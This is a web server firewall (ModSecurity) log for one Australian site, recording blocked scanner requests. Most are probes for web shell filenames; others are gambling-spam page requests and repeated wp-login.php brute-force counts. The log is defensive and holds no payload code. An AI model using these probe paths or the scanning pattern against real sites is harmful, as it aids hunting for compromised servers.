[Wed Apr 22 23:39:09.019218 2026] [:error] [pid 6384:tid 6391] [client 4.232.188.102:64515] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "aejrnT58M3t15ICeWHWZHgAAAMQ"]
[Wed Apr 22 23:39:09.578748 2026] [:error] [pid 6344:tid 6373] [client 4.232.188.102:64610] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aejrnUDOTF-pkQnDeUkeFgAAABg"]
[Wed Apr 22 23:39:10.828929 2026] [:error] [pid 23776:tid 23782] [client 4.232.188.102:63936] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aejrnrRExf-1pAbSeJswqgAAAYQ"]
[Wed Apr 22 23:39:11.401805 2026] [:error] [pid 9085:tid 9104] [client 4.232.188.102:65274] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aejrn9-_-or9vQnlWnrlowAAAVE"]
[Wed Apr 22 23:39:12.076300 2026] [:error] [pid 6384:tid 6400] [client 4.232.188.102:65253] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aejroD58M3t15ICeWHWZHwAAAM0"]
[Wed Apr 22 23:39:12.594646 2026] [:error] [pid 9085:tid 9090] [client 4.232.188.102:64527] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aejroN-_-or9vQnlWnrlpQAAAUM"]
[Wed Apr 22 23:39:13.090590 2026] [:error] [pid 9085:tid 9101] [client 4.232.188.102:64607] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aejrod-_-or9vQnlWnrlpwAAAU4"]
[Wed Apr 22 23:39:13.991447 2026] [:error] [pid 23776:tid 23798] [client 4.232.188.102:64592] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aejrobRExf-1pAbSeJswrAAAAZQ"]
[Wed Apr 22 23:39:15.899459 2026] [:error] [pid 6252:tid 6326] [client 4.232.188.102:63979] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aejro-tGYuiYb1nWBpRrvwAAAQ4"]
[Wed Apr 22 23:39:16.927581 2026] [:error] [pid 6251:tid 6298] [client 4.232.188.102:65191] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aejrpCsFAzbyObL-SQ6YSwAAAI0"]
[Wed Apr 22 23:39:18.451886 2026] [:error] [pid 6250:tid 6272] [client 4.232.188.102:64625] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aejrpg-iZeQkqmQVfj4ykgAAAFI"]
[Wed Apr 22 23:39:19.564316 2026] [:error] [pid 23776:tid 23786] [client 4.232.188.102:64585] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aejrp7RExf-1pAbSeJswvQAAAYg"]
[Wed Apr 22 23:39:20.790454 2026] [:error] [pid 23776:tid 23790] [client 4.232.188.102:64534] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aejrqLRExf-1pAbSeJswxAAAAYw"]
[Wed Apr 22 23:39:22.977305 2026] [:error] [pid 6344:tid 6350] [client 4.232.188.102:64617] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8573.php"] [unique_id "aejrqkDOTF-pkQnDeUkeKwAAAAE"]
[Wed Apr 22 23:39:24.363496 2026] [:error] [pid 6344:tid 6367] [client 4.232.188.102:65219] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8573.php"] [unique_id "aejrrEDOTF-pkQnDeUkeMgAAABI"]
[Wed Apr 22 23:39:26.835744 2026] [:error] [pid 6384:tid 6402] [client 4.232.188.102:65259] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8573.php"] [unique_id "aejrrj58M3t15ICeWHWZMgAAAM8"]
[Wed Apr 22 23:39:38.532142 2026] [:error] [pid 6384:tid 6390] [client 4.232.188.102:64575] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoper1.php"] [unique_id "aejruj58M3t15ICeWHWZWAAAAMM"]
[Wed Apr 22 23:39:39.216408 2026] [:error] [pid 9085:tid 9109] [client 4.232.188.102:65181] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoper1.php"] [unique_id "aejru9-_-or9vQnlWnrlyQAAAVY"]
[Wed Apr 22 23:39:40.068150 2026] [:error] [pid 9085:tid 9106] [client 4.232.188.102:63901] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoper1.php"] [unique_id "aejrvN-_-or9vQnlWnrlywAAAVM"]
[Wed Apr 22 23:39:40.868796 2026] [:error] [pid 9085:tid 9107] [client 4.232.188.102:65183] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoper1.php"] [unique_id "aejrvN-_-or9vQnlWnrlzgAAAVQ"]
[Wed Apr 22 23:39:41.464607 2026] [:error] [pid 9085:tid 9099] [client 4.232.188.102:64630] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aejrvd-_-or9vQnlWnrl0gAAAUw"]
[Wed Apr 22 23:39:42.177769 2026] [:error] [pid 9085:tid 9102] [client 4.232.188.102:65270] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aejrvt-_-or9vQnlWnrl1gAAAU8"]
[Wed Apr 22 23:39:42.884860 2026] [:error] [pid 6384:tid 6392] [client 4.232.188.102:64520] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aejrvj58M3t15ICeWHWZWgAAAMU"]
[Wed Apr 22 23:39:43.977373 2026] [:error] [pid 6252:tid 6335] [client 4.232.188.102:64525] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aejrv-tGYuiYb1nWBpRryQAAARc"]
[Wed Apr 22 23:39:44.896909 2026] [:error] [pid 6384:tid 6387] [client 4.232.188.102:65223] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ai.php"] [unique_id "aejrwD58M3t15ICeWHWZXAAAAMA"]
[Wed Apr 22 23:39:45.814102 2026] [:error] [pid 6384:tid 6399] [client 4.232.188.102:65212] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ai.php"] [unique_id "aejrwT58M3t15ICeWHWZYgAAAMw"]
[Wed Apr 22 23:39:46.606511 2026] [:error] [pid 9085:tid 9092] [client 4.232.188.102:64538] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ai.php"] [unique_id "aejrwt-_-or9vQnlWnrl3gAAAUU"]
[Wed Apr 22 23:39:47.294475 2026] [:error] [pid 6384:tid 6406] [client 4.232.188.102:64604] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ai.php"] [unique_id "aejrwz58M3t15ICeWHWZZgAAANM"]
[Wed Apr 22 23:39:47.870822 2026] [:error] [pid 6384:tid 6395] [client 4.232.188.102:64522] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aejrwz58M3t15ICeWHWZaAAAAMg"]
[Wed Apr 22 23:39:49.738251 2026] [:error] [pid 6344:tid 6350] [client 4.232.188.102:65266] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aejrxUDOTF-pkQnDeUkeQgAAAAE"]
[Wed Apr 22 23:39:51.573489 2026] [:error] [pid 6344:tid 6355] [client 4.232.188.102:64552] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aejrx0DOTF-pkQnDeUkeRAAAAAY"]
[Wed Apr 22 23:39:52.351532 2026] [:error] [pid 6344:tid 6366] [client 4.232.188.102:64512] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aejryEDOTF-pkQnDeUkeSAAAABE"]
[Wed Apr 22 23:48:15.324902 2026] [:error] [pid 6252:tid 6328] [client 62.84.185.63:14980] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aejtv-tGYuiYb1nWBpRtVQAAARA"]
[Wed Apr 22 23:48:19.126615 2026] [:error] [pid 6250:tid 6258] [client 62.84.185.63:14984] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aejtww-iZeQkqmQVfj4zzwAAAEQ"]
[Wed Apr 22 23:48:21.753829 2026] [:error] [pid 6384:tid 6387] [client 62.84.185.63:14988] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aejtxT58M3t15ICeWHWb6QAAAMA"]
[Wed Apr 22 23:48:24.348186 2026] [:error] [pid 6252:tid 6312] [client 62.84.185.63:33256] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aejtyOtGYuiYb1nWBpRtWgAAAQA"]
[Wed Apr 22 23:48:26.952770 2026] [:error] [pid 9085:tid 9097] [client 62.84.185.63:33258] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aejtyt-_-or9vQnlWnroZwAAAUo"]
[Wed Apr 22 23:48:29.569900 2026] [:error] [pid 9085:tid 9090] [client 62.84.185.63:33272] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aejtzd-_-or9vQnlWnrobAAAAUM"]
[Wed Apr 22 23:48:32.157688 2026] [:error] [pid 6252:tid 6324] [client 62.84.185.63:33278] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aejt0OtGYuiYb1nWBpRtYQAAAQw"]
[Thu Apr 23 00:18:19.271786 2026] [:error] [pid 6344:tid 6362] [client 170.106.160.90:40512] [client 170.106.160.90] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aej0y0DOTF-pkQnDeUknhwAAAA0"]
[Thu Apr 23 00:59:11.846967 2026] [:error] [pid 23776:tid 23799] [client 46.101.164.103:60887] [client 46.101.164.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.164.103, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aej-X7RExf-1pAbSeJtONwAAAZU"], referer: https://www.google.com/search?q=wordpress
[Thu Apr 23 00:59:17.093839 2026] [:error] [pid 6384:tid 6407] [client 46.101.164.103:61512] [client 46.101.164.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.164.103, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aej-ZT58M3t15ICeWHW-PgAAANQ"], referer: https://www.google.com/
[Thu Apr 23 00:59:21.324803 2026] [:error] [pid 9085:tid 9105] [client 46.101.164.103:62159] [client 46.101.164.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.164.103, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-login.php"] [unique_id "aej-ad-_-or9vQnlWnoU9AAAAVI"], referer: https://www.google.com/
[Thu Apr 23 01:50:13.614117 2026] [:error] [pid 6344:tid 6360] [client 51.83.8.179:34538] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aekKVUDOTF-pkQnDeUk_zQAAAAs"]
[Thu Apr 23 01:50:16.249554 2026] [:error] [pid 6250:tid 6264] [client 51.83.8.179:34998] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aekKWA-iZeQkqmQVfj5LawAAAEo"]
[Thu Apr 23 01:50:18.757486 2026] [:error] [pid 6384:tid 6392] [client 51.83.8.179:35010] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aekKWj58M3t15ICeWHXRqQAAAMU"]
[Thu Apr 23 01:50:21.594818 2026] [:error] [pid 6384:tid 6387] [client 51.83.8.179:37024] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aekKXT58M3t15ICeWHXRwgAAAMA"]
[Thu Apr 23 01:50:24.105250 2026] [:error] [pid 9085:tid 9106] [client 51.83.8.179:37036] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aekKYN-_-or9vQnlWnoyYAAAAVM"]
[Thu Apr 23 01:50:26.714592 2026] [:error] [pid 6384:tid 6410] [client 51.83.8.179:37042] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aekKYj58M3t15ICeWHXR8gAAANc"]
[Thu Apr 23 01:50:29.432998 2026] [:error] [pid 9085:tid 9110] [client 51.83.8.179:37058] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aekKZd-_-or9vQnlWnoyigAAAVc"]
[Thu Apr 23 01:50:32.018810 2026] [:error] [pid 23776:tid 23784] [client 51.83.8.179:55794] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aekKaLRExf-1pAbSeJtgGgAAAYY"]
[Thu Apr 23 01:50:34.657031 2026] [:error] [pid 9085:tid 9107] [client 51.83.8.179:55798] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aekKat-_-or9vQnlWnoyvwAAAVQ"]
[Thu Apr 23 01:50:37.330738 2026] [:error] [pid 6384:tid 6388] [client 51.83.8.179:55808] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aekKbT58M3t15ICeWHXSEQAAAME"]
[Thu Apr 23 01:50:40.021894 2026] [:error] [pid 6250:tid 6266] [client 51.83.8.179:49988] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aekKcA-iZeQkqmQVfj5LdQAAAEw"]
[Thu Apr 23 01:50:42.626594 2026] [:error] [pid 6251:tid 6300] [client 51.83.8.179:49994] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aekKcisFAzbyObL-SQ6rbAAAAI8"]
